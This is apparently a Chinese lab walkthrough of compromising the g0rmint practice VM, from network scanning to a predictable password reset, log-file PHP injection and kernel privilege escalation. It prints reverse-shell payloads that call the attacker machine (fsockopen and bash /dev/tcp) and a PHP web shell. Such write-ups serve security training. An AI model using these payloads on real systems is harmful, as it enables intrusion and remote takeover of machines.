一、实验环境 二、信息收集 三、渗透测试 1、漏洞发现和利用 2、提权 四、总结
靶机:g0rmint靶机(192.168.15.156)
攻击机:kali Linux(192.168.15.129)
主机发现 命令:nmap -sn 192.168.15.0/24 命令:arp-scan -l 命令:netdiscover -i eth0 -r 192.168.15.0/24 端口扫描 命令:masscan --rate=10000 --port 0-65535 192.168.15.156 版本探测和操作系统识别 命令:nmap -A -p 80,22 192.168.15.156 web指纹识别 命令:whatweb -v http://192.168.15.156 网站目录扫描 命令:dirb http://192.168.15.156 也可以用dirbuster 收集到的有用信息
IP => 192.168.15.156开放的端口 22 => ssh服务 — OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)80 => http服务 — Apache httpd 2.4.18 linux_kernel => 3/4OS => linux(Ubuntu) 3.2 - 4.9Apache => 2.4.18扫描出来的网站的目录这段代码说明了不论是哪个用户修改密码,他得到的新的密码都是由gmdate()函数得到的时间字符串经过sha1摘要,最后取前20位,作为密码。现在我们只需要找到一个邮箱和用户名即可。那怎么找呢,参考了网上大佬的博客得知可以在所有的文件中搜索email,这种操作很奇特。。。 我们给该用户修改密码 对字符串Saturday 4th of July 2020 01:01:19 PM进行sha1摘要 得到的w3bdrill3r@gmail.com的密码为f75f1f2974cb5ecdbbc2,我们尝试登录 登录成功了,此时我们就可用访问到日志文件了 之前写入的php代码也解析成功了,接下来就是getshell了,经过本人亲测直接写入下面这样的php代码来getshell是失败的: <?php $sock=fsockopen("192.168.15.129",4444);exec("/bin/sh -i <&3 >&3 2>&3");?> 或者是它,也是失败的。 <?php system("echo 'bash -i >&/dev/tcp/192.168.15.129/4444 0>&1' | bash");?> 这里我们要写入一个可以执行系统命令的php代码:<?php system($_GET[cmd]);?> 然后我们访问日志文件,就可以执行系统命令了 我们在kali中开启apache服务,通过wget命令给靶机中下载反弹shell文件,并执行 在kali中监听后getshell成功 这里使用其他的代码也可以geshell成功 下面的这个也可以
2、提权 接下来进行提权 该靶机 Ubuntu的版本是16.04.3之前做过一个Node靶机也是这个版本的,该版本存在一个提权漏洞 44298.c我们下载该代码即可进行提权 由于该靶机中没有gcc命令我们需要在kali中编译之后再下载到靶机上 但是这里出现了问题 这是由于编译环境的问题,我们应该找一个也是 ubuntu 16.04的靶机来进行编译 编译好了之后给靶机上下载exe文件,然后下载执行即可提权成功。(PS:我这里提权没有成功,应该是因为我的靶机是 16.04.6的,不是 16.04.3的,本人懒癌犯了,懒得下了,就这样了。。。感兴趣的道友可以下载16.04.3的Ubuntu应该就可了)渗透步骤
1、开放22端口和80端口,22端口无法利用,走80端口。2、找到了一个登录界面,常规的手法都无法攻破。审计登录界面的前端代码得到了一个备份目录。3、对备份目录进行递归扫描,得到了网站的源码文件。4、对源码文件进行审计可知错误的登录尝试会被写入到一个日志文件中,要访问该日志文件的前提是要登录成功。5、在所有的源码文件中扫描email可得一个邮箱和用户名,用得到的邮箱和用户名可以重置密码,通过对源码审计我们可知重置之后的密码是可以推算出来的。6、用邮箱和重置之后的密码登录成功。再在登录界面中写入执行系统命令的php代码,然后访问日志文件代码解析成功。7、通过此getshell成功。8、提权用的是版本漏洞,注意gcc编译时的环境。 知识点backup-directory是备份目录的意思。注意对得到的目录再次进行目录扫描。提升自己审计php代码的能力。